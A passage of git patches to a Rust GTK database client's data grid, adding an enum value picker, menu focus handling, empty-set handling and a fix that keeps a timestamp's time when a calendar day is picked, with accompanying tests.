+++ b/linux/crates/app/src/ui/data_grid/imp.rs
@@ -70,6 +70,9 @@ pub struct DataGrid {
     pub find: FindState,
     /// What a menu was opened on, until it closes.
     pub menu_target: RefCell<Option<Target>>,
+    /// How many targets menus have held, so a closing menu lets go of its
+    /// own and not of one a later menu holds.
+    pub menu_targets_held: Cell<u64>,
     /// The key choices the latest menu or chooser offered, which its items
     /// act on whatever the keys or rows are by then.
     pub armed_references: RefCell<Armed>,
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/imp.rs b/linux/crates/app/src/ui/data_grid/row_detail/imp.rs
index d8882ecf2b..64e1d765a2 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/imp.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/imp.rs
@@ -42,6 +42,8 @@ pub struct RowDetailPane {
     #[template_child]
     pub field_label: TemplateChild<gtk::Label>,
     #[template_child]
+    pub choice_button: TemplateChild<gtk::MenuButton>,
+    #[template_child]
     pub calendar_button: TemplateChild<gtk::MenuButton>,
     #[template_child]
     pub calendar_popover: TemplateChild<gtk::Popover>,
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/mod.rs b/linux/crates/app/src/ui/data_grid/row_detail/mod.rs
index 3f0fb18c4f..afa81b1291 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/mod.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/mod.rs
@@ -40,6 +40,7 @@ impl RowDetailPane {
         self.connect_fields(grid);
         self.connect_value_editor(grid);
         self.connect_value_menu(grid);
+        self.connect_choices();
         self.connect_calendar();
         self.connect_clock();
         self.connect_close(grid);
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/tests.rs b/linux/crates/app/src/ui/data_grid/row_detail/tests.rs
index 135979f0ca..f9a49e542f 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/tests.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/tests.rs
@@ -412,6 +412,37 @@ fn every_control_in_the_pane_is_named() {
     }
 }
 
+#[gtk4::test]
+fn an_enum_field_picks_from_its_labels() {
+    let (grid, pane) = opened(
+        vec![
+            named("id", "integer", true),
+            named("size", "enum('small','large')", false),
+            named("note", "text", false),
+        ],
+        vec![vec![
+            Value::Int(1),
+            Value::Text("small".into()),
+            Value::Text("x".into()),
+        ]],
+    );
+    take_keyboard(&grid);
+    let button = pane.imp().choice_button.get();
+    grid.focus(0, 2);
+    assert!(!button.is_visible(), "a text field offered labels");
+    grid.focus(0, 1);
+    assert!(button.is_visible(), "an enum field offered no labels");
+
+    button.popup();
+    button
+        .activate_action("choice.label", Some(&Some(1u32).to_variant()))
+        .expect("the labels' action");
+    drain_main_context();
+
+    assert_eq!(pending(&grid, 1, 1), Some(text("large")));
+    assert_eq!(pane.typed_text(), "large");
+}
+
 /// The middle of the first of the calendar's labels that `matches`,
 /// once the popover has laid it out.
 fn calendar_label(calendar: &gtk::Calendar, matches: impl Fn(&gtk::Widget) -> bool) -> (f64, f64) {
@@ -697,6 +728,19 @@ fn what_the_value_editor_shows_for_a_cell() {
     );
     assert!(!locked.calendar, "a locked cell offered a calendar");
     assert!(value_content(&day, &saved, None, &value(a_date(2024, 1, 1))).calendar);
+    let size = column_of(named("size", "enum('s','l')", false));
+    let small = value(Value::Text("s".into()));
+    assert!(value_content(&size, &saved, None, &small).choice);
+    assert!(
+        !value_content(&size, &saved, Some(CellLock::PendingDelete), &small).choice,
+        "a locked cell offered its labels"
+    );
+    assert!(!value_content(&note, &saved, None, &value(Value::Null)).choice);
+    let nul = value_content(&size, &saved, None, &value(Value::Text("s\0".into())));
+    assert!(
+        nul.message.is_some() && nul.choice,
+        "a value the editor cannot hold hid the labels"
+    );
     assert_eq!(
         value_content(&doc, &saved, None, &value(Value::Null)).language,
         Some("json")
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/value_editor.rs b/linux/crates/app/src/ui/data_grid/row_detail/value_editor.rs
index df4fb6cff7..12a30c9990 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/value_editor.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/value_editor.rs
@@ -2,7 +2,7 @@ use std::rc::{Rc, Weak};
 
 use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
-use gtk4::{self as gtk, gdk, glib};
+use gtk4::{self as gtk, gdk, gio, glib};
 use libadwaita as adw;
 use sourceview5::prelude::*;
 use tablepro_core::Value;
@@ -13,9 +13,10 @@ use super::RowDetailPane;
 use crate::application::component_matches;
 use crate::i18n::{gettext, gettext_f};
 use crate::services::grid::{
-    CellLock, CommitResult, EDIT_MAX_BYTES, EditStart, GridColumn, GridRowId, auto_filled_sentinel, display_text,
-    empty_placeholder,
+    CellEditorKind, CellLock, CommitResult, EDIT_MAX_BYTES, EditStart, GridColumn, GridRowId, auto_filled_sentinel,
+    display_text, empty_placeholder,
 };
+use crate::ui::data_grid::edit::CHOICE_ACTIONS;
 use crate::ui::data_grid::selection::Target;
 use crate::ui::data_grid::{DataGrid, GridRow, PinnedRow};
 use crate::ui::error_text::edit_parse_message;
@@ -79,6 +80,8 @@ pub struct ValueContent {
     pub emptied_placeholder: Option<String>,
     pub language: Option<&'static str>,
     pub calendar: bool,
+    /// The column's labels to pick from.
+    pub choice: bool,
     pub clock: bool,
 }
 
@@ -88,6 +91,10 @@ pub fn value_content(column: &GridColumn, row: &GridRowId, lock: Option<CellLock
         CellInput::Value(value) => typed_form(column, value),
         CellInput::Default => (String::new(), None),
     };
+    let decodable = match input {
+        CellInput::Value(value) => matches!(edit_text(value, column.value_type()), EditText::Editable(_)),
+        CellInput::Default => true,
+    };
     let message = lock.map(|lock| lock.explanation(edit_parse_message)).or(refusal);
     let editable = message.is_none();
     let emptied_placeholder = editable.then(|| empty_placeholder(column, row)).flatten();
@@ -107,6 +114,9 @@ pub fn value_content(column: &GridColumn, row: &GridRowId, lock: Option<CellLock
             _ => None,
         },
         calendar: editable && matches!(kind, ColumnKind::Date | ColumnKind::Timestamp { .. }),
+        // The menu holds no text, so a value too long or with a NUL for the
+        // editor still opens it.
+        choice: lock.is_none() && decodable && CellEditorKind::for_cell(column, Ok(())) == CellEditorKind::Choice,
         clock: editable && super::clock::ClockField::of(kind).is_some(),
         message,
     }
@@ -341,6 +351,7 @@ impl RowDetailPane {
             emptied_placeholder: None,
             language: None,
             calendar: false,
+            choice: false,
             clock: false,
         };
         self.show_value("", &content);
@@ -376,6 +387,7 @@ impl RowDetailPane {
             .update_property(&[gtk::accessible::Property::Label(name)]);
         self.show_message(content.message.as_deref(), false);
         imp.calendar_button.set_visible(content.calendar);
+        imp.choice_button.set_visible(content.choice);
         imp.clock_button.set_visible(content.clock);
         self.update_placeholder();
     }
@@ -433,6 +445,32 @@ impl RowDetailPane {
         }
     }
 
+    /// The labels of the field shown, filled as the menu opens so they act
+    /// on that row and field.
+    pub(super) fn connect_choices(&self) {
+        let button = self.imp().choice_button.get();
+        button.set_menu_model(Some(&gio::Menu::new()));
+        button.set_create_popup_func(glib::clone!(
+            #[weak(rename_to = pane)]
+            self,
+            move |button| pane.fill_choices(button)
+        ));
+    }
+
+    fn fill_choices(&self, button: &gtk::MenuButton) {
+        let Some(model) = button.menu_model().and_downcast::<gio::Menu>() else {
+            return;
+        };
+        model.remove_all();
+        let (Some(grid), Some(pin), Some(column)) = (self.grid(), self.current_pin(), self.imp().field.get()) else {
+            return;
+        };
+        if let Some(menu) = grid.edit().choice_menu(&pin, column) {
+            button.insert_action_group(CHOICE_ACTIONS, Some(&menu.actions));
+            model.append_section(None, &menu.section);
+        }
+    }
+
     fn arm_value_menu(&self) {
         let Some(grid) = self.grid() else {
             return;
diff --git a/linux/crates/app/src/ui/data_grid/selection.rs b/linux/crates/app/src/ui/data_grid/selection.rs
index 463a02b80b..a676ddd190 100644
--- a/linux/crates/app/src/ui/data_grid/selection.rs
+++ b/linux/crates/app/src/ui/data_grid/selection.rs
@@ -137,15 +137,39 @@ impl DataGrid {
 
     /// Hold `target` for the actions a menu offers, until it closes.
     pub(crate) fn hold_menu_target(&self, target: Target) {
-        self.imp().menu_target.replace(Some(target));
+        let imp = self.imp();
+        imp.menu_target.replace(Some(target));
+        imp.menu_targets_held.set(imp.menu_targets_held.get().wrapping_add(1));
+    }
+
+    /// GTK hands the focus a closed popover held to the first control an
+    /// ancestor of the grid takes, so the cell the menu was opened on takes
+    /// it back. The item's action runs after this and may move it on.
+    pub(crate) fn return_focus_from_menu(&self) {
+        let cell = self
+            .imp()
+            .menu_target
+            .borrow()
+            .as_ref()
+            .and_then(|target| target.cell.clone());
+        let Some((row, column)) = cell else {
+            return;
+        };
+        if let Some(position) = row.get().and_then(|row| self.view_position(row)) {
+            self.focus_cell(position, column);
+        }
     }
 
     /// Let go of the menu's target once the item it activated, if any,
-    /// has run: GTK closes a menu before its item's action runs.
+    /// has run: GTK closes a menu before its item's action runs. A menu
+    /// that item opened, as Edit Cell opens a cell's labels, keeps its own.
     pub(crate) fn release_menu_target_soon(&self) {
         let grid = self.downgrade();
+        let held = self.imp().menu_targets_held.get();
         glib::idle_add_local_once(move || {
-            if let Some(grid) = grid.upgrade() {
+            if let Some(grid) = grid.upgrade()
+                && grid.imp().menu_targets_held.get() == held
+            {
                 grid.imp().menu_target.take();
                 grid.refresh_actions();
             }
diff --git a/linux/crates/app/src/ui/data_grid/tests/menus.rs b/linux/crates/app/src/ui/data_grid/tests/menus.rs
index b210c0b632..c1e324efe1 100644
--- a/linux/crates/app/src/ui/data_grid/tests/menus.rs
+++ b/linux/crates/app/src/ui/data_grid/tests/menus.rs
@@ -250,6 +250,24 @@ fn a_page_under_a_closed_menu_then_a_focus_in_keeps_the_focus_in_the_grid() {
     assert!(focus_in_grid(&grid), "the focus left the grid");
 }
 
+/// GTK gives the focus a closed menu held to the first control an ancestor
+/// of the grid takes, so Escape or an item left the keyboard off the rows.
+#[gtk4::test]
+fn a_closed_cell_menu_gives_the_keyboard_back_to_its_cell() {
+    let grid = two_text_rows();
+    let cell = grid.cell_of(2, 1);
+    assert!(grid.grid.open_cell_menu(&cell, None));
+    gtk::prelude::GtkWindowExt::set_focus(&grid.window, None::<&gtk::Widget>);
+
+    close_menus(&grid);
+
+    assert_eq!(
+        grid.focused_cell(),
+        Some(cell),
+        "the keyboard did not come back to the cell"
+    );
+}
+
 /// The header gives the rows the keys that act on a selection, wherever
 /// the focus was.
 #[gtk4::test]
diff --git a/linux/crates/core/src/column/kind.rs b/linux/crates/core/src/column/kind.rs
index b2edf23312..6355249c93 100644
--- a/linux/crates/core/src/column/kind.rs
+++ b/linux/crates/core/src/column/kind.rs
@@ -88,7 +88,8 @@ impl ColumnKind {
     pub fn accepts_empty_string(&self) -> bool {
         match self {
             Self::Text { .. } | Self::Other => true,
-            Self::Enum { labels, .. } => labels.iter().any(String::is_empty),
+            // A set with no members is the empty string.
+            Self::Enum { labels, multiple } => *multiple || labels.iter().any(String::is_empty),
             _ => false,
         }
     }
@@ -236,6 +237,20 @@ mod tests {
         }
     }
 
+    #[test]
+    fn a_set_with_no_members_is_the_empty_string() {
+        let set = ColumnKind::Enum {
+            labels: vec!["a".to_owned()],
+            multiple: true,
+        };
+
+        assert!(set.accepts_empty_string());
+        assert!(
+            !enumeration(&["a"]).accepts_empty_string(),
+            "an enum without an empty label"
+        );
+    }
+
     #[test]
     fn declared_precision_comes_from_the_kind() {
         let stamp = ColumnKind::Timestamp {
diff --git a/linux/crates/core/src/edit/parse_edit_text.rs b/linux/crates/core/src/edit/parse_edit_text.rs
index 32836c9b64..30910262a6 100644
--- a/linux/crates/core/src/edit/parse_edit_text.rs
+++ b/linux/crates/core/src/edit/parse_edit_text.rs
@@ -82,6 +82,34 @@ mod tests {
         );
     }
 
+    #[test]
+    fn an_empty_set_is_a_value_and_an_empty_enum_is_not() {
+        let set = column(
+            ColumnKind::Enum {
+                labels: vec!["a".to_owned(), "b".to_owned()],
+                multiple: true,
+            },
+            true,
+        );
+        let enumeration = column(
+            ColumnKind::Enum {
+                labels: vec!["a".to_owned(), "b".to_owned()],
+                multiple: false,
+            },
+            true,
+        );
+
+        assert_eq!(
+            parse_edit_text("", &set, EditContext::UpdateRow),
+            Ok(CellInput::Value(Value::Text(String::new()))),
+            "clearing a set wrote NULL instead of the empty set"
+        );
+        assert_eq!(
+            parse_edit_text("", &enumeration, EditContext::UpdateRow),
+            Ok(CellInput::Value(Value::Null))
+        );
+    }
+
     #[test]
     fn an_empty_draft_cell_asks_for_the_servers_default() {
         let mut defaulted = integer(false);
diff --git a/linux/data/resources/ui/row-detail-pane.ui b/linux/data/resources/ui/row-detail-pane.ui
index 5e266afad8..17c41799c4 100644
--- a/linux/data/resources/ui/row-detail-pane.ui
+++ b/linux/data/resources/ui/row-detail-pane.ui
@@ -160,6 +160,19 @@
                                     </style>
                                   </object>
                                 </child>
+                                <child>
+                                  <!-- No icon: the menu button's own arrow, as a drop-down shows. -->
+                                  <object class="GtkMenuButton" id="choice_button">
+                                    <property name="visible">false</property>
+                                    <property name="tooltip-text" translatable="yes">Pick a Value</property>
+                                    <accessibility>
+                                      <property name="label" translatable="yes">Pick a Value</property>
+                                    </accessibility>
+                                    <style>
+                                      <class name="flat"/>
+                                    </style>
+                                  </object>
+                                </child>
                                 <child>
                                   <object class="GtkMenuButton" id="calendar_button">
                                     <property name="icon-name">x-office-calendar-symbolic</property>
diff --git a/linux/po/POTFILES.in b/linux/po/POTFILES.in
index 4c1e116d14..ba56cfe121 100644
--- a/linux/po/POTFILES.in
+++ b/linux/po/POTFILES.in
@@ -237,10 +237,12 @@ crates/app/src/ui/data_grid/copy/mod.rs
 crates/app/src/ui/data_grid/copy/tests.rs
 crates/app/src/ui/data_grid/edit/actions.rs
 crates/app/src/ui/data_grid/edit/cell_editor.rs
+crates/app/src/ui/data_grid/edit/choice_menu.rs
 crates/app/src/ui/data_grid/edit/deletion.rs
 crates/app/src/ui/data_grid/edit/mod.rs
 crates/app/src/ui/data_grid/edit/paste.rs
 crates/app/src/ui/data_grid/edit/row_edits.rs
+crates/app/src/ui/data_grid/edit/tests/choices.rs
 crates/app/src/ui/data_grid/edit/tests/mod.rs
 crates/app/src/ui/data_grid/edit/tests/paste.rs
 crates/app/src/ui/data_grid/edit/tests/rows.rs

From ddc50ed29c32c972f380911bb07a4d76e247f32f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Fri, 30 Oct 2026 11:26:18 +0700
Subject: [PATCH 37/44] fix(linux-grid): keep a timestamp's time when Row
 Details picks its day (#3890)

---
 linux/changelog.d/3890.fixed.md               |   1 +
 .../src/ui/data_grid/row_detail/calendar.rs   |  60 +++++--
 .../app/src/ui/data_grid/row_detail/clock.rs  |  63 +------
 .../app/src/ui/data_grid/row_detail/tests.rs  |  68 ++++++++
 linux/crates/core/src/edit/mod.rs             |   2 +
 .../core/src/edit/parse_literal_text.rs       |  17 +-
 linux/crates/core/src/edit/temporal_parts.rs  | 162 ++++++++++++++++++
 7 files changed, 294 insertions(+), 79 deletions(-)
 create mode 100644 linux/changelog.d/3890.fixed.md
 create mode 100644 linux/crates/core/src/edit/temporal_parts.rs

diff --git a/linux/changelog.d/3890.fixed.md b/linux/changelog.d/3890.fixed.md
new file mode 100644
index 0000000000..e8d1028c92
--- /dev/null
+++ b/linux/changelog.d/3890.fixed.md
@@ -0,0 +1 @@
+Picking a day in Row Details reset a timestamp's time to midnight when its year or spelling was not the plain form.
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/calendar.rs b/linux/crates/app/src/ui/data_grid/row_detail/calendar.rs
index 2298906675..f5e554e888 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/calendar.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/calendar.rs
@@ -3,30 +3,46 @@ use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
 use gtk4::{self as gtk, glib};
 use tablepro_core::column::{ColumnKind, TemporalZone};
+use tablepro_core::edit::{parse_timestamp_with_offset, temporal_parts};
 
 use super::RowDetailPane;
 use super::value_editor::Commit;
 use crate::application::component_matches;
 
-/// The day a value's text starts with, when it starts with one the
-/// calendar can show.
+// GtkCalendar shows the years 1 to 9999 only, so it opens on today for any other.
 pub fn day_of(text: &str) -> Option<NaiveDate> {
-    let head = text.get(..10)?;
-    NaiveDate::parse_from_str(head, "%Y-%m-%d")
-        .ok()
-        .filter(|day| (1..=9999).contains(&day.year()))
+    temporal_parts(text).date.filter(|day| (1..=9999).contains(&day.year()))
 }
 
-/// The value's text with `day` picked: a date, or a timestamp in `zone`,
-/// which keeps the time it had. A new zoned timestamp starts the day at
-/// `offset`, as one without an offset is refused.
+// Only the day changes, and the era with it, since a picked day is AD. Text with no day takes one
+// before its clock, or becomes a new value; a zoned timestamp lacking an offset takes `offset`.
 pub fn with_day(text: &str, day: NaiveDate, zone: Option<&TemporalZone>, offset: FixedOffset) -> String {
     let date = day.format("%Y-%m-%d").to_string();
-    match (zone, day_of(text)) {
-        (None, _) => date,
-        (Some(_), Some(_)) => format!("{date}{}", text.get(10..).unwrap_or_default()),
-        (Some(TemporalZone::Offset), None) => format!("{date} 00:00:00{offset}"),
-        (Some(_), None) => format!("{date} 00:00:00"),
+    let parts = temporal_parts(text);
+    let mut text = text.to_owned();
+    if let Some(era) = parts.era {
+        text.replace_range(era, "");
+    }
+    match (parts.day, parts.clock, zone) {
+        (Some(old), _, _) => {
+            text.replace_range(old, &date);
+            text
+        }
+        (None, Some(clock), Some(zone)) => {
+            text.insert_str(clock.start, &format!("{date} "));
+            let (body, tail) = text.split_at(text.trim_end().len());
+            let zoned = format!("{body}{offset}{tail}");
+            match zone == &TemporalZone::Offset
+                && parse_timestamp_with_offset(&text).is_err()
+                && parse_timestamp_with_offset(&zoned).is_ok()
+            {
+                true => zoned,
+                false => text,
+            }
+        }
+        (None, _, None) => date,
+        (None, None, Some(TemporalZone::Offset)) => format!("{date} 00:00:00{offset}"),
+        (None, None, Some(_)) => format!("{date} 00:00:00"),
     }
 }
 
@@ -36,9 +52,12 @@ pub fn day_start_offset<Tz: TimeZone>(zone: &Tz, day: NaiveDate) -> FixedOffset
 
 // A wall-clock time a clock change skips takes the offset before the change.
 pub fn offset_at<Tz: TimeZone>(zone: &Tz, local: NaiveDateTime) -> FixedOffset {
-    [local, local - TimeDelta::hours(1)]
-        .iter()
-        .find_map(|local| zone.from_local_datetime(local).earliest())
+    zone.from_local_datetime(&local)
+        .earliest()
+        .or_else(|| {
+            let before = local.checked_sub_signed(TimeDelta::hours(1))?;
+            zone.from_local_datetime(&before).earliest()
+        })
         .map_or_else(|| zone.offset_from_utc_datetime(&local).fix(), |at| at.offset().fix())
 }
 
@@ -145,7 +164,12 @@ impl RowDetailPane {
             ColumnKind::Timestamp { zone, .. } => Some(zone.clone()),
             _ => None,
         });
-        let text = with_day(&self.typed_text(), day, zone.as_ref(), day_start_offset(&Local, day));
+        let typed = self.typed_text();
+        let offset = temporal_parts(&typed).time.map_or_else(
+            || day_start_offset(&Local, day),
+            |time| offset_at(&Local, day.and_time(time)),
+        );
+        let text = with_day(&typed, day, zone.as_ref(), offset);
         imp.calendar_popover.popdown();
         imp.value_buffer.set_text(&text);
         self.commit(Commit::Keep);
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/clock.rs b/linux/crates/app/src/ui/data_grid/row_detail/clock.rs
index 02e36ac66f..b3c1b8b507 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/clock.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/clock.rs
@@ -1,10 +1,9 @@
-use std::ops::Range;
-
 use chrono::{Local, NaiveDate, NaiveTime, TimeZone, Timelike};
 use gtk4::prelude::*;
 use gtk4::subclass::prelude::*;
 use gtk4::{self as gtk, glib};
 use tablepro_core::column::{ColumnKind, TemporalZone, TimeRange};
+use tablepro_core::edit::temporal_parts;
 
 use super::RowDetailPane;
 use super::calendar::offset_at;
@@ -37,72 +36,26 @@ impl ClockField {
     }
 }
 
-// By the text's own form, as chrono reads it for the commit: SQLite keeps any date or time text in a
-// DATE, TIME or DATETIME column, and chrono takes whitespace before a number and one digit for two.
-fn clock_span(text: &str) -> Option<Range<usize>> {
-    let after_day = day_len(text).map_or(0, |day| day + usize::from(text.as_bytes().get(day) == Some(&b'T')));
-    let start = after_day + spaces(text.get(after_day..)?);
-    let minute = number(text, literal(text, number(text, start, 2)?, b':')?, 2)?;
-    let end = literal(text, minute, b':').and_then(|second| number(text, second, 2));
-    Some(start..end.unwrap_or(minute))
-}
-
-// A year may run past 9999, as PostgreSQL writes one, and carry a sign.
-fn day_len(text: &str) -> Option<usize> {
-    let lead = spaces(text);
-    let year = lead + usize::from(matches!(text.as_bytes().get(lead), Some(b'-' | b'+')));
-    let month = number(text, literal(text, number(text, year, usize::MAX)?, b'-')?, 2)?;
-    number(text, literal(text, month, b'-')?, 2)
-}
-
-// The end of the number at `at`, past any whitespace before it.
-fn number(text: &str, at: usize, most: usize) -> Option<usize> {
-    let start = at + spaces(text.get(at..)?);
-    let run = text
-        .get(start..)?
-        .bytes()
-        .take(most)
-        .take_while(u8::is_ascii_digit)
-        .count();
-    (run > 0).then_some(start + run)
-}
-
-fn literal(text: &str, at: usize, byte: u8) -> Option<usize> {
-    (text.as_bytes().get(at) == Some(&byte)).then_some(at + 1)
-}
-
-fn spaces(text: &str) -> usize {
-    text.len() - text.trim_start().len()
-}
-
 pub fn time_of(text: &str) -> Option<NaiveTime> {
-    let mut parts = text
-        .get(clock_span(text)?)?
-        .split(':')
-        .map(|part| part.trim().parse::<u32>());
-    let (hour, minute) = (parts.next()?.ok()?, parts.next()?.ok()?);
-    let second = parts.next().transpose().ok()?.unwrap_or(0);
-    NaiveTime::from_hms_opt(hour, minute, second)
+    temporal_parts(text).time
 }
 
 // Only the clock changes; text with no day or clock, such as NULL or infinity, becomes a new value.
 pub fn with_time<Tz: TimeZone>(text: &str, time: NaiveTime, field: ClockField, today: NaiveDate, zone: &Tz) -> String {
     let mut clock = time.format("%H:%M:%S").to_string();
+    let parts = temporal_parts(text);
     let mut text = text.to_owned();
-    if let Some(span) = clock_span(&text) {
+    if let Some(span) = parts.clock {
         text.replace_range(span, &clock);
         return text;
     }
-    let day_end = day_len(&text);
-    let day = day_end
-        .and_then(|end| NaiveDate::parse_from_str(text.get(..end)?.trim_start(), "%Y-%m-%d").ok())
-        .unwrap_or(today);
     if field.with_offset {
+        let day = parts.date.unwrap_or(today);
         clock.push_str(&offset_at(zone, day.and_time(time)).to_string());
     }
-    match day_end {
-        Some(end) => {
-            text.insert_str(end, &format!(" {clock}"));
+    match parts.day {
+        Some(day) => {
+            text.insert_str(day.end, &format!(" {clock}"));
             text
         }
         None if field.dated => format!("{} {clock}", today.format("%Y-%m-%d")),
diff --git a/linux/crates/app/src/ui/data_grid/row_detail/tests.rs b/linux/crates/app/src/ui/data_grid/row_detail/tests.rs
index f9a49e542f..8b02914e82 100644
--- a/linux/crates/app/src/ui/data_grid/row_detail/tests.rs
+++ b/linux/crates/app/src/ui/data_grid/row_detail/tests.rs
@@ -620,6 +620,50 @@ fn a_picked_day_keeps_a_timestamp_time() {
     assert_eq!(day_of("2024-02-2é"), None, "a cut inside a character");
 }
 
+#[test]
+fn a_picked_day_keeps_the_time_of_any_timestamp_the_commit_reads() {
+    let day = NaiveDate::from_ymd_opt(2024, 3, 1).expect("a day");
+    let plus_two = chrono::FixedOffset::east_opt(2 * 3600).expect("an offset");
+    let pick = |text: &str| with_day(text, day, Some(&TemporalZone::Naive), plus_two);
+
+    assert_eq!(
+        pick("12024-01-05 10:00:00"),
+        "2024-03-01 10:00:00",
+        "PostgreSQL writes a far year in full"
+    );
+    assert_eq!(
+        pick("2024-1-5 10:00"),
+        "2024-03-01 10:00",
+        "SQLite keeps the text as typed"
+    );
+    assert_eq!(pick(" 2024-01-05 10:00"), " 2024-03-01 10:00");
+    assert_eq!(
+        pick("0044-03-15 12:00:00 BC"),
+        "2024-03-01 12:00:00",
+        "an AD day kept the BC era"
+    );
+    assert_eq!(pick("10:00"), "2024-03-01 10:00");
+    let zoned = |text: &str| with_day(text, day, Some(&TemporalZone::Offset), plus_two);
+    assert_eq!(
+        zoned("10:00"),
+        "2024-03-01 10:00+02:00",
+        "a zoned timestamp took no offset"
+    );
+    assert_eq!(zoned("10:00+05"), "2024-03-01 10:00+05");
+    assert_eq!(
+        with_day("2024-01-05 10:00", day, None, plus_two),
+        "2024-03-01 10:00",
+        "SQLite keeps a timestamp in a DATE column"
+    );
+    assert_eq!(day_of("2024-1-5 10:00"), NaiveDate::from_ymd_opt(2024, 1, 5));
+    assert_eq!(day_of(" 2024-01-05"), NaiveDate::from_ymd_opt(2024, 1, 5));
+    assert_eq!(
+        day_of("0044-03-15 12:00:00 BC"),
+        None,
+        "the calendar opened on an AD day"
+    );
+}
+
 /// A zone whose offset moves from `before` to `after` at `change`, in UTC.
 #[derive(Clone)]
 struct OneChange {
@@ -1077,6 +1121,30 @@ fn a_new_zoned_time_takes_the_offset_of_its_own_moment() {
     );
 }
 
+#[test]
+fn a_clock_on_the_first_day_chrono_holds_takes_an_offset() {
+    let first = NaiveDate::MIN.format("%Y-%m-%d").to_string();
+    let today = NaiveDate::from_ymd_opt(2026, 10, 29).expect("a day");
+    let plus_two = chrono::FixedOffset::east_opt(2 * 3600).expect("an offset");
+
+    assert_eq!(
+        with_time(&first, a_time(0, 30, 0), ZONED, today, &plus_two),
+        format!("{first} 00:30:00+02:00")
+    );
+}
+
+#[test]
+fn a_picker_replaces_a_part_out_of_range() {
+    let day = NaiveDate::from_ymd_opt(2024, 3, 1).expect("a day");
+    let plus_two = chrono::FixedOffset::east_opt(2 * 3600).expect("an offset");
+
+    assert_eq!(set_at_nine("2024-01-01 12:34:99", NAIVE), "2024-01-01 09:05:30");
+    assert_eq!(
+        with_day("2024-02-30 10:00", day, Some(&TemporalZone::Naive), plus_two),
+        "2024-03-01 10:00"
+    );
+}
+
 #[test]
 fn the_clock_reads_the_time_a_value_shows() {
     assert_eq!(time_of("2024-02-29 23:59:58.125"), Some(a_time(23, 59, 58)));
diff --git a/linux/crates/core/src/edit/mod.rs b/linux/crates/core/src/edit/mod.rs
index 715989f0f4..bbd1ae4f37 100644
--- a/linux/crates/core/src/edit/mod.rs
+++ b/linux/crates/core/src/edit/mod.rs
@@ -10,6 +10,7 @@ mod is_unchanged;
 mod new_draft_cell;
 mod parse_edit_text;
 mod parse_literal_text;
+mod temporal_parts;
 
 pub use cell_input::CellInput;
 pub use edit_context::EditContext;
@@ -22,3 +23,4 @@ pub use parse_edit_text::parse_edit_text;
 pub use parse_literal_text::{
     parse_filter_text, parse_literal_text, parse_time_with_offset, parse_timestamp_with_offset,
 };
+pub use temporal_parts::{TemporalParts, temporal_parts};
diff --git a/linux/crates/core/src/edit/parse_literal_text.rs b/linux/crates/core/src/edit/parse_literal_text.rs
index 3e3ba424ea..9bae8c469f 100644
--- a/linux/crates/core/src/edit/parse_literal_text.rs
+++ b/linux/crates/core/src/edit/parse_literal_text.rs
@@ -343,7 +343,7 @@ fn parse_timestamp(input: &str) -> Result<Value, EditParseError> {
 /// `+10000` and `-4712`: there is no year 0 between 1 BC and AD 1, so
 /// 1 BC is chrono's 0. `None` for a ` BC` value with no year to count
 /// back from.
-fn chrono_year(input: &str) -> Option<Cow<'_, str>> {
+pub(super) fn chrono_year(input: &str) -> Option<Cow<'_, str>> {
     let (dated, before_christ) = match input.strip_suffix(" BC").or_else(|| input.strip_suffix(" bc")) {
         Some(dated) => (dated, true),
         None => (input, false),
@@ -378,11 +378,7 @@ fn far_temporal(
     purpose: Purpose,
     parse: fn(&str) -> Result<Value, EditParseError>,
 ) -> Option<Result<Value, EditParseError>> {
-    let year_digits = input.bytes().take_while(u8::is_ascii_digit).count();
-    let (year, rest) = input.split_at(year_digits);
-    let last_year = u64::try_from(NaiveDate::MAX.year()).ok()?;
-    let year = year.parse::<u64>().ok().filter(|year| *year > last_year)?;
-    let stand_in = parse(&format!("{}{rest}", 2000 + year % 400)).ok()?;
+    let stand_in = parse(&far_year_stand_in(input)?).ok()?;
     if purpose == Purpose::Store
         && let Err(error) = check_declared_fraction(&stand_in, column.kind.fractional_digits())
     {
@@ -394,6 +390,15 @@ fn far_temporal(
     }))))
 }
 
+// The text with a year past chrono's last moved into its range, keeping the rest as written.
+pub(super) fn far_year_stand_in(input: &str) -> Option<String> {
+    let year_digits = input.bytes().take_while(u8::is_ascii_digit).count();
+    let (year, rest) = input.split_at(year_digits);
+    let last_year = u64::try_from(NaiveDate::MAX.year()).ok()?;
+    let year = year.parse::<u64>().ok().filter(|year| *year > last_year)?;
+    Some(format!("{}{rest}", 2000 + year % 400))
+}
+
 fn infinite_temporal<T>(input: &str) -> Option<Temporal<T>> {
     match input.to_ascii_lowercase().as_str() {
         "infinity" | "inf" => Some(Temporal::Infinity),
diff --git a/linux/crates/core/src/edit/temporal_parts.rs b/linux/crates/core/src/edit/temporal_parts.rs
new file mode 100644
index 0000000000..8f0588900f
--- /dev/null
+++ b/linux/crates/core/src/edit/temporal_parts.rs
@@ -0,0 +1,162 @@
+use std::ops::Range;
+
+use chrono::{NaiveDate, NaiveTime};
+
+use super::parse_literal_text::{chrono_year, far_year_stand_in};
+
+// Byte ranges in the text, so a picker can replace one part and keep the rest as written.
+#[derive(Debug, Clone, Default, PartialEq, Eq)]
+pub struct TemporalParts {
+    pub day: Option<Range<usize>>,
+    // None for a day out of range or a year past the last chrono holds.
+    pub date: Option<NaiveDate>,
+    pub clock: Option<Range<usize>>,
+    // None for a clock out of range, PostgreSQL's 24:00:00 among them.
